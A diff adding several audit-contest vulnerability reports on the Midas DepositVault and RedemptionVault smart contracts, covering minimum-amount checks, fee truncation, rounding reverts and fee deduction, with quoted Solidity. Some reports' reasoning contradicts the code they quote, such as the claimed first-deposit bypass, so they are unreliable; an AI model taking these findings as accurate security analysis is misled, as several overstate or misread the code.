diff --git a/.gitignore b/.gitignore
deleted file mode 100644
index 3fbffbb..0000000
--- a/.gitignore
+++ /dev/null
@@ -1,10 +0,0 @@
-*
-!*/
-!/.data
-!/.github
-!/.gitignore
-!/README.md
-!/comments.csv
-!*.md
-!**/*.md
-!/Audit_Report.pdf
diff --git a/001/018.md b/001/018.md
new file mode 100644
index 0000000..0209118
--- /dev/null
+++ b/001/018.md
@@ -0,0 +1,54 @@
+Acidic Sapphire Hedgehog
+
+Medium
+
+# Discrepancy in `validateMinAmount` might lead to Rejections when depositing into Vault for instant transaction
+
+## Summary
+The `_validateMinAmount` function exhibits a significant discrepancy between its operational logic and the descriptions provided in the inline comments. This inconsistency has critical ramifications for the _calcAndValidateDeposit function, potentially leading to erroneous validation of deposits. The issue undermines the accuracy of deposit processing and could lead to substantial financial and operational issues.
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts%2Fcontracts%2FDepositVault.sol#L282
+
+## Vulnerability Detail
+The `_validateMinAmount ` function is intended to enforce minimum deposit requirements by validating both token amounts and their corresponding USD values. According to the inline comments, the function should ensure that the deposit amount in USD is greater than or equal to `minAmountToDepositInUsd()`, and that the token amount is at least `minAmount().` Furthermore, for first-time depositors, the function should validate against `minMTokenAmountForFirstDeposit.`
+```solidity
+/**
+ * @dev Validates that inputted USD amount >= minAmountToDepositInUsd()
+ * and amount >= minAmount()
+ * @param user user address
+ * @param amountMTokenWithoutFee amount of mToken without fee (decimals 18)
+ */
+```
+The `_validateMinAmoun`t function fails to incorporate USD-based validation, focusing solely on the token amount (amountMTokenWithoutFee). The function does not convert the token amount to its USD equivalent or check it against `minAmountToDepositInUsd().`
+
+> Consider a situation where a newly onboarded user is attempting their first deposit into a smart contract. The contract stipulates a minimum token quantity requirement for first-time deposits, set at 150,000 XYZ tokens, as defined by the parameter `minMTokenAmountForFirstDeposit.` This parameter dictates that to successfully process their inaugural deposit, a user must deposit at least 150,000 XYZ tokens, regardless of the token’s USD value. In this scenario, the user deposits 200,000 XYZ tokens, easily surpassing the minimum token threshold. However, if the contract lacks additional validation to check the USD value of the deposit, a critical issue arises: the USD value of 200,000 XYZ tokens, at a price of $0.0001 per token, equates to only $20. This amount is substantially below the required USD minimum of $50, which should ideally be enforced to ensure the deposit meets the financial standards set by the contract.
+
+The absence of this USD validation means that while the deposit exceeds the token quantity requirement, it fails to satisfy the necessary USD value, potentially allowing the user to exploit the system by depositing a large volume of low-value tokens.
+
+This oversight can lead to erroneous deposit approvals or rejections. For example, a deposit of tokens that meets the token minimum but falls short in USD value could be improperly accepted,.
+
+The discrepancy between the `_validateMinAmount` function’s implementation and its documented intent has significant implications for the `_calcAndValidateDeposit` function.
+
+## Impact
+Incorrect Deposit Approval or Rejection
+
+## Code Snippet
+```solidity
+ function _validateMinAmount(address user, uint256 amountMTokenWithoutFee)
+ internal
+ view
+ {
+ require(amountMTokenWithoutFee >= minAmount, "DV: mToken amount < min");
+
+ if (totalMinted[user] != 0) return;
+
+ require(
+ amountMTokenWithoutFee >= minMTokenAmountForFirstDeposit,
+ "DV: mint amount < min"
+ );
+ }
+```
+## Tool used
+GitHub
+
+## Recommendation
+Modify _validateMinAmount to include a check against minAmountToDepositInUsd(). Implement a mechanism to convert the token amount to its USD equivalent and ensure it meets the required USD threshold.
\ No newline at end of file
diff --git a/001/021.md b/001/021.md
new file mode 100644
index 0000000..e8162b5
--- /dev/null
+++ b/001/021.md
@@ -0,0 +1,172 @@
+Acidic Sapphire Hedgehog
+
+Medium
+
+# First Time Deposit bypassed allowing user to have amountMWithoutFee <= minMTokenAmountForFirstDeposit
+
+## Summary
+The `depositInstant` function in the contract fails to accurately identify first-time depositors due to an improper sequence of operations. Specifically, the incrementing of totalMinted[user] occurs before the validation logic intended to enforce stricter rules for first-time depositors. This logical flaw enables users to bypass the intended minimum deposit requirement for their first transaction, leading to potential exploitation and financial inconsistencies within the system.
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts%2Fcontracts%2FDepositVault.sol#L288-L293
+
+## Vulnerability Detail
+The `depositInstant` function is designed to process user deposits while ensuring that first-time depositors meet a specified minimum deposit amount (`minMTokenAmountForFirstDeposit`). However, the current implementation of this function incorrectly increments `totalMinted[user]` before invoking the `_validateMinAmount` function, which checks whether the user is a first-time depositor. The increment operation alters the condition used to identify first-time depositors, causing the subsequent validation to fail in applying the stricter minimum deposit requirement.
+
+The flawed logic can be observed in the following code snippet:
+```solidity
+ function depositInstant(
+ address tokenIn,
+ uint256 amountToken,
+ uint256 minReceiveAmount,
+ bytes32 referrerId
+ )
+ external
+ whenFnNotPaused(this.depositInstant.selector)
+ onlyGreenlisted(msg.sender)
+ onlyNotBlacklisted(msg.sender)
+ onlyNotSanctioned(msg.sender)
+ {
+ address user = msg.sender;
+
+ address tokenInCopy = tokenIn;
+ uint256 amountTokenCopy = amountToken;
+
+ (
+ uint256 tokenAmountInUsd,
+ uint256 feeTokenAmount,
+ uint256 amountTokenWithoutFee,
+ uint256 mintAmount,
+ ,
+ ,
+ uint256 tokenDecimals
+ ) = _calcAndValidateDeposit(user, tokenInCopy, amountTokenCopy, true);
+
+ require(
+ mintAmount >= minReceiveAmount,
+ "DV: minReceiveAmount > actual"
+ );
+
+ totalMinted[user] += mintAmount; <----------- First time total Mint of a user already incremented
+
+ _requireAndUpdateLimit(mintAmount);
+
+ _tokenTransferFromUser(
+ tokenInCopy,
+ tokensReceiver,
+ amountTokenWithoutFee,
+ tokenDecimals
+ );
+
+ if (feeTokenAmount > 0)
+ _tokenTransferFromUser(
+ tokenInCopy,
+ feeReceiver,
+ feeTokenAmount,
+ tokenDecimals
+ );
+
+ mToken.mint(user, mintAmount);
+
+ bytes32 referrerIdCopy = referrerId;
+
+ emit DepositInstant(
+ user,
+ tokenInCopy,
+ tokenAmountInUsd,
+ amountTokenCopy,
+ feeTokenAmount,
+ mintAmount,
+ referrerIdCopy
+ );
+ }
+```
+```solidity
+ function _calcAndValidateDeposit(
+ address user,
+ address tokenIn,
+ uint256 amountToken,
+ bool isInstant
+ )
+ internal
+ returns (
+ uint256 tokenAmountInUsd,
+ uint256 feeTokenAmount,
+ uint256 amountTokenWithoutFee,
+ uint256 mintAmount,
+ uint256 tokenInRate,
+ uint256 tokenOutRate,
+ uint256 tokenDecimals
+ )
+ {
+ require(amountToken > 0, "DV: invalid amount");
+
+ tokenDecimals = _tokenDecimals(tokenIn);
+
+ _requireTokenExists(tokenIn);
+
+ (uint256 amountInUsd, uint256 tokenInUSDRate) = _convertTokenToUsd(
+ tokenIn,
+ amountToken
+ );
+ tokenAmountInUsd = amountInUsd;
+ tokenInRate = tokenInUSDRate;
+ address userCopy = user;
+
+ _requireAndUpdateAllowance(tokenIn, amountToken);
+
+ feeTokenAmount = _truncate(
+ _getFeeAmount(userCopy, tokenIn, amountToken, isInstant, 0),
+ tokenDecimals
+ );
+ amountTokenWithoutFee = amountToken - feeTokenAmount;
+
+ uint256 feeInUsd = (feeTokenAmount * tokenInRate) / 10**18;
+
+ (uint256 mTokenAmount, uint256 mTokenRate) = _convertUsdToMToken(
+ tokenAmountInUsd - feeInUsd
+ );
+ mintAmount = mTokenAmount;
+ tokenOutRate = mTokenRate;
+
+ if (!isFreeFromMinAmount[userCopy]) {
+ _validateMinAmount(userCopy, mintAmount); <-------------
+ }
+ require(mintAmount > 0, "DV: invalid mint amount");
+ }
+```
+```solidity
+ function _validateMinAmount(address user, uint256 amountMTokenWithoutFee)
+ internal
+ view
+ {
+ require(amountMTokenWithoutFee >= minAmount, "DV: mToken amount < min");
+
+ if (totalMinted[user] != 0) return; <---------- This would never hold!!!!
+
+ require(
+ amountMTokenWithoutFee >= minMTokenAmountForFirstDeposit,
+ "DV: mint amount < min"
+ );
+ }
+```
+The `depositInstant` function calls `_calcAndValidateDeposit` to process deposits. The `_calcAndValidateDeposit` function, in turn, invokes `_validateMinAmoun`t to ensure that the user's deposit meets certain minimum thresholds, particularly for first-time depositors. The _validateMinAmount function is supposed to enforce a stricter minimum for first-time deposits (`minMTokenAmountForFirstDeposit`). However, due to the sequence of operations, this validation can be bypassed.
+
+Imagine a user, Alice, is making her first deposit into the system. The platform requires that first-time depositors must deposit at least 100 mTokens, represented by the variable `minMTokenAmountForFirstDeposit. `Alice initiates a deposit of 50 mTokens.
+
+Here’s how the scenario unfolds:
+
+*Initial Validation:* When Alice’s transaction is processed, _calcAndValidateDeposit is called to handle the deposit logic. The function calculates various values such as `tokenAmountInUsd`, feeTokenAmount, and mintAmount.
+
+Increment of Total Minted: Before validating if Alice is a first-time depositor, the system increments her totalMinted balance with the mintAmount. For Alice’s case, this increments her totalMinted to 50 mTokens.
+
+*Validation for First-Time Deposit:* Now, `_validateMinAmount `is called to check if Alice meets the minimum requirements for first-time deposits. However, because totalMinted[Alice] is now 50 mTokens (instead of 0), the function mistakenly concludes that Alice is not a first-time depositor. As a result, the stricter validation against `minMTokenAmountForFirstDeposit` is bypassed.
+
+*Approval of the Insufficient Deposit:* Since the system bypassed the first-time depositor check, Alice's deposit of 50 mTokens is approved, even though it should have been rejected because it does not meet the required 100 mTokens for first-time depositors.
+## Impact
+Any user can bypass First Time check in _validateMinAmount`
+## Code Snippet
+
+## Tool used
+Manual Review
+
+## Recommendation
+To remediate this vulnerability, it is imperative to re-order the operations in the depositInstant function so that the `_validateMinAmount` function is called before `totalMinted[user]` is incremented. This ensures that the contract accurately identifies first-time depositors and enforces the `minMTokenAmountForFirstDeposit` requirement
\ No newline at end of file
diff --git a/001/027.md b/001/027.md
new file mode 100644
index 0000000..c9cb69b
--- /dev/null
+++ b/001/027.md
@@ -0,0 +1,64 @@
+Fantastic Punch Scallop
+
+High
+
+# Wrong tokens decimals due to precision loss causing protocol to lose fees and users to lose tokens
+
+## Summary
+Users are required to pay a fees when depositing tokens into Midas. The calculation of fees is incorrect. For redeeming tokens, the calculation causes users to redeem lesser tokens.
+## Vulnerability Detail
+In `DepositVault.sol`, the deposits functions calls `_calcAndValidateDeposit` which is used to calculate the tokens to be minted back to user.
+Within that function it calls `_truncate` as feeTokenAmount:
+```solidity
+ function _calcAndValidateDeposit(
+ address user,
+ address tokenIn,
+ uint256 amountToken,
+ bool isInstant
+ )
+ internal
+ returns (
+ uint256 tokenAmountInUsd,
+ uint256 feeTokenAmount, //@audit amount returned is 18 decimals
+ uint256 amountTokenWithoutFee,
+ uint256 mintAmount,
+ uint256 tokenInRate,
+ uint256 tokenOutRate,
+ uint256 tokenDecimals
+ )
+ -- SNIP --
+ feeTokenAmount = _truncate(
+ _getFeeAmount(userCopy, tokenIn, amountToken, isInstant, 0),
+ tokenDecimals
+ );
+ -- SNIP --
+```
+
+In both `DepositVault.sol::depositInstant` and `DepositVault.sol::depositRequest`, the checks for token amounts will cause a revert if the user only approves the required amount of tokens. Thus, users depositing tokens with fewer than 18 decimals will always face a revert issue, because `feeTokenAmount` from the code snippet above returns 1e18 decimals.
+
+```solidity
+ function _truncate(uint256 value, uint256 decimals)
+ internal
+ pure
+ returns (uint256)
+ {
+ return value.convertFromBase18(decimals).convertToBase18(decimals);
+ }
+```
+
+The problem with `_truncate` is it converts the arguments to 18 decimals. This causes the protocol to earn lesser fees.
+
+Example Scenario:
+Within _getFeeAmount it returns the following `(amount * feePercent) / ONE_HUNDRED_PERCENT;`, assuming the feePercent is 100%, this means the fee to be paid is 100e18. Now due to `_truncate` the fee is converted to 1e18. This causes the protocol to not earn 100% of the deposit fee but 1% instead because of precision loss.
+
+## Impact
+The protocol earns lesser revenue for fees..
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/DepositVault.sol#L379
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Remove the truncate for fees to ensure fees earned is accurate.
\ No newline at end of file
diff --git a/001/028.md b/001/028.md
new file mode 100644
index 0000000..f401d88
--- /dev/null
+++ b/001/028.md
@@ -0,0 +1,131 @@
+Fantastic Punch Scallop
+
+High
+
+# Transferring tokens will constantly be denied to rounding error in transferring tokens.
+
+## Summary
+User can choose to redeem their mTokens to their whitelisted tokens. The problem arise in transferring fees to protocol.
+## Vulnerability Detail
+In `RedemptionVault.sol::redeemInstant` and `RedemptionVault.sol::_redeemRequest`, the fee calculation logic is implemented within these functions. The redeem fee calculation is handled by the `_calcAndValidateRedeem` function, where both `amountMTokenIn` and the deposit token amount are expressed in 18 decimals, as referenced in `DepositVault.sol`.
+
+```solidity
+ /**
+ * @dev validate redeem and calculate fee
+ * @param user user address
+ * @param tokenOut tokenOut address
+ * @param amountMTokenIn mToken amount (decimals 18)
+ * @param isInstant is instant operation
+ * @param isFiat is fiat operation
+ *
+ * @return feeAmount fee amount in mToken
+ * @return amountMTokenWithoutFee mToken amount without fee
+ */
+ function _calcAndValidateRedeem(
+ address user,
+ address tokenOut,
+ uint256 amountMTokenIn,
+ bool isInstant,
+ bool isFiat
+ )
+ internal
+ view
+ returns (uint256 feeAmount, uint256 amountMTokenWithoutFee)
+ {
+ -- SNIP --
+ feeAmount = _getFeeAmount( //@audit-issue Not Rounded
+ user,
+ tokenOut, // if usdc, doesn't matter
+ amountMTokenIn,
+ isInstant,
+ isFiat ? fiatAdditionalFee : 0
+ ); // cheaper fees. @audit-issue
+
+ if (isFiat) {
+ require(
+ tokenOut == MANUAL_FULLFILMENT_TOKEN,
+ "RV: tokenOut != fiat"
+ );
+ if (!waivedFeeRestriction[user]) feeAmount += fiatFlatFee;
+ } else {
+ _requireTokenExists(tokenOut);
+ }
+
+ require(amountMTokenIn > feeAmount, "RV: amountMTokenIn < fee");
+
+ amountMTokenWithoutFee = amountMTokenIn - feeAmount; //@audit-issue
+ }
+```
+However, within the `_calcAndValidateRedeem` function, the `feeAmount` is not rounded, hence when returning back to the redeeming functions, it will call the `_tokenTransferFromUser`.
+```solidity
+ if (feeAmount > 0)
+ _tokenTransferFromUser(address(mToken), feeReceiver, feeAmount, 18);
+```
+Within that function, since there the feeAmount is not rounded, and _tokenTransferFromUser performs rounding checks, it will always revert. Furthermore the rounding checks included rounds down the feeAmount earned, hence protocol also loses revenue.
+```solidity
+ function _tokenTransferFromUser(
+ address token,
+ address to,
+ uint256 amount,
+ uint256 tokenDecimals
+ ) internal {
+ uint256 transferAmount = amount.convertFromBase18(tokenDecimals); // converts to 6 dp
+ require(
+ amount == transferAmount.convertToBase18(tokenDecimals),
+ "MV: invalid rounding"
+ );
+ IERC20(token).safeTransferFrom(msg.sender, to, transferAmount); // @audit
+ }
+```
+
+Similar issues can be found in `DepositVault.sol::_calcAndValidateDeposit`, where the returned value `amountTokenWithoutFee` is not rounded. Hence as from the above code snippet, you can see that tokens transfer can be denied:
+```solidity
+ function depositInstant(
+ address tokenIn,
+ uint256 amountToken,
+ uint256 minReceiveAmount,
+ bytes32 referrerId
+ )
+ external
+ whenFnNotPaused(this.depositInstant.selector)
+ onlyGreenlisted(msg.sender)
+ onlyNotBlacklisted(msg.sender)
+ onlyNotSanctioned(msg.sender)
+ {
+ address user = msg.sender;
+
+ address tokenInCopy = tokenIn;
+ uint256 amountTokenCopy = amountToken;
+
+ (
+ uint256 tokenAmountInUsd,
+ uint256 feeTokenAmount, //amount paid to be 1e18
+ uint256 amountTokenWithoutFee, //actually with fee deducted
+ uint256 mintAmount,
+ ,
+ ,
+ uint256 tokenDecimals
+ ) = _calcAndValidateDeposit(user, tokenInCopy, amountTokenCopy, true);
+
+ -- SNIP --
+
+ _tokenTransferFromUser(
+ tokenInCopy,
+ tokensReceiver,
+ amountTokenWithoutFee, // this is same decimals with input token // transfer with fee deducted
+ tokenDecimals //decimal of input token, can be 18 or 6
+ );
+ -- SNIP --
+```
+
+The same applies through out any redeeming and depositing functions.
+## Impact
+User cannot redeem tokens out of protocol.
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVault.sol#L501
+## Tool used
+
+Manual Review
+
+## Recommendation
+Remove the rounding checks for `_tokenTransferFromUser`.
\ No newline at end of file
diff --git a/001/052.md b/001/052.md
new file mode 100644
index 0000000..5a3e47c
--- /dev/null
+++ b/001/052.md
@@ -0,0 +1,212 @@
+Acidic Sapphire Hedgehog
+
+High
+
+# Logical Flaw in the Calculation of :: amountMTokenWithoutFee within :: _calcAndValidateDeposit Function allowing user to mint more tokens
+
+## Summary
+A critical flaw has been discovered in the `_calcAndValidateDeposit` function, which is integral to the smart contract's handling of token deposits. The issue pertains to the improper calculation of the `amountMTokenWithoutFee` variable, a value that represents the net `mToken`amount after deducting applicable fees. The current implementation fails to adequately subtract the fee's mToken equivalent from the total mToken amount, resulting in an erroneous `amountMTokenWithoutFee` value. This oversight has profound implications for the contract's financial operations, potentially leading to users being over-credited in their mToken balances.
+
+## Vulnerability Detail
+The [_calcAndValidateDeposit](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/DepositVault.sol#L282) function is a core component of the contract, responsible for processing user deposits. It performs a series of critical calculations:
+
+- [Conversion of Token to USD](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/DepositVault.sol#L407): The function converts the deposited token amount (amountToken) into its USD equivalent (`tokenAmountInUsd`), considering the token's current exchange rate (tokenInRate).
+
+- [Fee Calculation](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/DepositVault.sol#L385): It computes the applicable fee (`feeTokenAmount`) based on the transaction parameters, which include the sender's address, the token involved, and whether the transaction is an instant operation. The fee is subtracted from the total token amount to yield amountTokenWithoutFee.
+
+- [Conversion of USD to mToken](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/DepositVault.sol#L429): The function then converts the net USD amount (after fee deduction) into the equivalent mToken amount (`mintAmount`), using a conversion rate (`tokenOutRate`).
+
+Validation of Minimum Deposit Amount: The function checks if the resulting `mintAmount` meets the minimum mToken deposit requirements. If the user's total mToken balance is zero, an additional check ensures that the first deposit meets a higher minimum threshold.
+
+Final Assignments: The function then assigns the calculated values to the respective variables, readying them for further use in the transaction process.
+
+This oversight leads to a situation where `amountMTokenWithoutFee` does not accurately represent the `mToken` amount post-fee deduction.
+
+Steps to produce:
+*Initial Deposit:* A user initiates a deposit of 100 tokens, with a fee rate of 2%. The [_calcAndValidateDeposit](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/DepositVault.sol#L387) function converts the tokens to USD, applies the fee, and then calculates the mToken equivalent.
+
+*Examine Calculations:* Observe that [amountTokenWithoutFee is correctly calculated as amountToken - feeTokenAmount](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/DepositVault.sol#L383). However, `amountMTokenWithoutFee` is incorrectly assigned without subtracting the mToken equivalent of the fee.
+
+*Final Output:* The function outputs an inflated `amountMTokenWithoutFee`, which does not reflect the proper deduction of fees in `mToken` terms.
+
+The calculation of `amountMTokenWithoutFee` should closely follow the pattern used for `amountTokenWithoutFee`. Specifically, after converting the fee amount to its mToken equivalent, this value should be subtracted from the total `mToken` amount to yield an accurate `amountMTokenWithoutFee.`
+
+Since fees will not be deducted users will mint more tokens than intended as fee will not be removed from it value.
+
+Two functions calls this internally and the logical bugs affect them every time it would be called uponupon as you can see below:
+[DeposiitRequest](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/DepositVault.sol#L178) and [DepositInstant](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/DepositVault.sol#L104), however the depositrequest does call _calcAndValidateDeposit but doesn't mint directly to users but just to make a request for a deposit but An admin can call _approveRequest to approve this and mint unintended amount to the user.
+
+## Impact
+Users may receive more mTokens than they should.
+
+## Code Snippet
+[DepositInstant](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/DepositVault.sol#L79)
+
+```solidity
+function depositInstant(
+ address tokenIn,
+ uint256 amountToken,
+ uint256 minReceiveAmount,
+ bytes32 referrerId
+ )
+ external
+ whenFnNotPaused(this.depositInstant.selector)
+ onlyGreenlisted(msg.sender)
+ onlyNotBlacklisted(msg.sender)
+ onlyNotSanctioned(msg.sender)
+ {
+ address user = msg.sender;
+
+ address tokenInCopy = tokenIn;
+ uint256 amountTokenCopy = amountToken;
+
+ (
+ uint256 tokenAmountInUsd,
+ uint256 feeTokenAmount,
+ uint256 amountTokenWithoutFee,
+ uint256 mintAmount,
+ ,
+ ,
+ uint256 tokenDecimals
+ ) = _calcAndValidateDeposit(user, tokenInCopy, amountTokenCopy, true); <--------------- started from here!
+
+ require(
+ mintAmount >= minReceiveAmount,
+ "DV: minReceiveAmount > actual"
+ );
+
+ totalMinted[user] += mintAmount;
+
+ _requireAndUpdateLimit(mintAmount);
+
+ _tokenTransferFromUser(
+ tokenInCopy,
+ tokensReceiver,
+ amountTokenWithoutFee,
+ tokenDecimals
+ );
+
+ if (feeTokenAmount > 0)
+ _tokenTransferFromUser(
+ tokenInCopy,
+ feeReceiver,
+ feeTokenAmount,
+ tokenDecimals
+ );
+
+ mToken.mint(user, mintAmount);
+
+ bytes32 referrerIdCopy = referrerId;
+
+ emit DepositInstant(
+ user,
+ tokenInCopy,
+ tokenAmountInUsd,
+ amountTokenCopy,
+ feeTokenAmount,
+ mintAmount,
+ referrerIdCopy
+ );
+ }
+```
+
+```solidity
+function _calcAndValidateDeposit(
+ address user,
+ address tokenIn,
+ uint256 amountToken,
+ bool isInstant
+ )
+ internal
+ returns (
+ uint256 tokenAmountInUsd,
+ uint256 feeTokenAmount,
+ uint256 amountTokenWithoutFee,
+ uint256 mintAmount,
+ uint256 tokenInRate,
+ uint256 tokenOutRate,
+ uint256 tokenDecimals
+ )
+ {
+ require(amountToken > 0, "DV: invalid amount");
+
+ tokenDecimals = _tokenDecimals(tokenIn);
+
+ _requireTokenExists(tokenIn);
+
+ (uint256 amountInUsd, uint256 tokenInUSDRate) = _convertTokenToUsd(
+ tokenIn,
+ amountToken
+ );
+ tokenAmountInUsd = amountInUsd;
+ tokenInRate = tokenInUSDRate;
+ address userCopy = user;
+
+ _requireAndUpdateAllowance(tokenIn, amountToken);
+
+ feeTokenAmount = _truncate(
+ _getFeeAmount(userCopy, tokenIn, amountToken, isInstant, 0),
+ tokenDecimals
+ );
+ amountTokenWithoutFee = amountToken - feeTokenAmount;
+
+ uint256 feeInUsd = (feeTokenAmount * tokenInRate) / 10**18;
+
+ (uint256 mTokenAmount, uint256 mTokenRate) = _convertUsdToMToken(
+ tokenAmountInUsd - feeInUsd
+ );
+ mintAmount = mTokenAmount; <---------------
+ tokenOutRate = mTokenRate;
+
+ if (!isFreeFromMinAmount[userCopy]) {
+ _validateMinAmount(userCopy, mintAmount); <------------------ Uses minAmount instead of amountTokenWithoutFee
+ }
+ require(mintAmount > 0, "DV: invalid mint amount");
+ }
+```
+
+```solidity
+function _validateMinAmount(address user, uint256 amountMTokenWithoutFee) <-----------
+ internal
+ view
+ {
+ require(amountMTokenWithoutFee >= minAmount, "DV: mToken amount < min"); <---------------- No fee taken from minAmount
+
+ if (totalMinted[user] != 0) return;
+
+ require(
+ amountMTokenWithoutFee >= minMTokenAmountForFirstDeposit,
+ "DV: mint amount < min"
+ );
+ }
+```
+However since there was no fee deduction user gets to mint tokens more than intended as you can see here at line [130](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/DepositVault.sol#L130).
+
+```solidity
+mToken.mint(user, mintAmount);
+```
+Where the MintAmount should have been deducted but it wasn't.
+
+
+## Tool used
+Manual Review
+
+## Recommendation
+Amend the `_calcAndValidateDeposit` function to properly deduct the fee from the USD equivalent before calculating mintAmount. This ensures that the mTokens minted accurately reflect the amount after fee deduction.
+
+> Solution:
+
+Convert the total USD value (tokenAmountInUsd) into mTokens:
+```solidity
+(uint256 totalMTokenAmount, uint256 mTokenRate) = _convertUsdToMToken(tokenAmountInUsd);
+```
+
+Convert the fee USD value (feeInUsd) into mTokens:
+```solidity
+(uint256 feeMTokenAmount, ) = _convertUsdToMToken(feeInUsd);
+```
+
+Now, subtract the mToken equivalent of the fee from the total mToken amount:
+```solidity
+uint256 amountMTokenWithoutFee = totalMTokenAmount - feeMTokenAmount
+```
diff --git a/001/053.md b/001/053.md
new file mode 100644
index 0000000..5596196
--- /dev/null
+++ b/001/053.md
@@ -0,0 +1,68 @@
+Acidic Sapphire Hedgehog
+
+Medium
+
+# Misapplication of mintAmount Instead of amountMTokenWithoutFee in ::_validateMinAmount Function
+
+## Summary
+The `_validateMinAmount` function within the smart contract is designed to ensure that users deposit a sufficient amount of tokens by comparing the post-fee mint amount against a minimum threshold. However, a critical flaw exists in how this function is invoked from the `_calcAndValidateDeposit` function. Instead of passing the amountMTokenWithoutFee—which accurately reflects the amount of mTokens post-fee deduction—the function incorrectly uses `mintAmount`, which does not necessarily account for the fee structure. This misapplication can lead to inaccurate validation, enabling users to bypass minimum deposit requirements and potentially manipulate token minting.
+
+## Vulnerability Detail
+```solidity
+uint256 feeTokenAmount = _truncate(
+ _getFeeAmount(user, tokenIn, amountToken, isInstant, 0),
+ tokenDecimals
+);
+amountTokenWithoutFee = amountToken - feeTokenAmount;
+
+uint256 feeInUsd = (feeTokenAmount * tokenInRate) / 10**18;
+(uint256 mTokenAmount, uint256 mTokenRate) = _convertUsdToMToken(
+ tokenAmountInUsd - feeInUsd
+);
+mintAmount = mTokenAmount;
+```
+Here, `mintAmount` is calculated based on the USD equivalent of `amountTokenWithoutFe`e, yet it fails to distinctly represent the fee-adjusted mToken amount, which should be isolated as a`mountMTokenWithoutFee.`
+
+This function is meant to validate that the user's deposit meets a minimum threshold. The issue arises when _calcAndValidateDeposit passes the mintAmount instead of the correctly fee-adjusted `amountMTokenWithoutFee.`
+
+This invocation incorrectly uses `mintAmount,` which includes potential variances not directly related to the fee-adjusted amount, rather than using a properly computed `amountMTokenWithoutFee.`
+
+```solidity
+_validateMinAmount(user, mintAmount);
+```
+> From the comments:
+
+ /**
+ * @dev validates that inputted USD amount >= minAmountToDepositInUsd()
+ * and amount >= minAmount()
+ * @param user user address
+ * @param amountMTokenWithoutFee amount of mToken without fee (decimals 18) <--------------------
+ */
+
+*Expected Behavior:* The function should validate the deposit by checking that the post-fee mToken amount (i.e., amountMTokenWithoutFee) meets or exceeds the required minimum deposit amount. This ensures that users are not bypassing minimum deposit thresholds through fee manipulation or other means.
+
+
+## Impact
+
+## Code Snippet
+- [_calcAndValidateDeposit (Internal Function)](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/DepositVault.sol#L346)
+- [_validateMinAmount (Internal Function)](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/DepositVault.sol#L394)
+ ```solidity
+uint256 feeTokenAmount = _truncate(
+ _getFeeAmount(user, tokenIn, amountToken, isInstant, 0),
+ tokenDecimals
+);
+amountTokenWithoutFee = amountToken - feeTokenAmount;
+
+uint256 feeInUsd = (feeTokenAmount * tokenInRate) / 10**18;
+(uint256 mTokenAmount, uint256 mTokenRate) = _convertUsdToMToken(
+ tokenAmountInUsd - feeInUsd
+);
+mintAmount = mTokenAmount;
+```
+
+## Tool used
+Manual Review
+
+## Recommendation
+`amountMTokenWithoutFee:` In the `_calcAndValidateDeposit` function, explicitly calculate `amountMTokenWithoutFee` by deducting the fee from the mToken amount.
\ No newline at end of file
diff --git a/001/054.md b/001/054.md
new file mode 100644
index 0000000..0bd45eb
--- /dev/null
+++ b/001/054.md
@@ -0,0 +1,119 @@
+Acidic Sapphire Hedgehog
+
+Medium
+
+# Inadequate Minimum Redeem Amount Validation in :: _calcAndValidateRedeem Function
+
+## Summary
+The `_calcAndValidateRedeem` function, which is responsible for validating and processing redeem requests, exhibits a critical flaw in its handling of minimum redeem amounts. Specifically, the function fails to ensure that the user receives a sufficient amount of tokens after deducting fees. This discrepancy may result in users redeeming amounts below the acceptable minimum threshold, undermining the integrity of the redeem operation and potentially allowing users to redeem more tokens than intended.
+
+## Vulnerability Detail
+The function adds both a percentage-based fee and a fiat flat fee (fiatFlatFee) sequentially. This can result in a higher-than-expected total fee (`feeAmount`), which may lead to a net redemption amount (`amountMTokenWithoutFee`) that is significantly lower than the user's expected minimum receive amount (`minReceiveAmount`).
+
+The function correctly checks whether the `amountMTokenIn` meets or exceeds the `minFiatRedeemAmount` but fails to ensure that the final `amountMTokenWithoutFee` after fee deduction remains above this threshold. This could allow transactions to proceed even when the final redeemed amount falls below acceptable limits.
+
+- Minimum Amount Validation Pre-Fee Deduction: The function checks if the `amountMTokenIn` meets the minimum redeem amount requirements before deducting any fees:
+
+```solidity
+if (!isFreeFromMinAmount[user]) {
+ uint256 minRedeemAmount = isFiat ? minFiatRedeemAmount : minAmount;
+ require(minRedeemAmount <= amountMTokenIn, "RV: amount < min");
+}
+```
+- This check validates that the initial `amountMTokenIn` is greater than or equal to the minimum redeem amount (minRedeemAmount). However, this validation occurs before deducting any applicable fees.
+
+Fee Calculation and Deduction: After validating the minimum amount, the function calculates and deducts the fee:
+
+```solidity
+feeAmount = _getFeeAmount(
+ user,
+ tokenOut,
+ amountMTokenIn,
+ isInstant,
+ isFiat ? fiatAdditionalFee : 0
+);
+```
+The fee is then added if applicable, and the remaining amount is computed:
+```solidity
+amountMTokenWithoutFee = amountMTokenIn - feeAmount; <------------ can be below min
+```
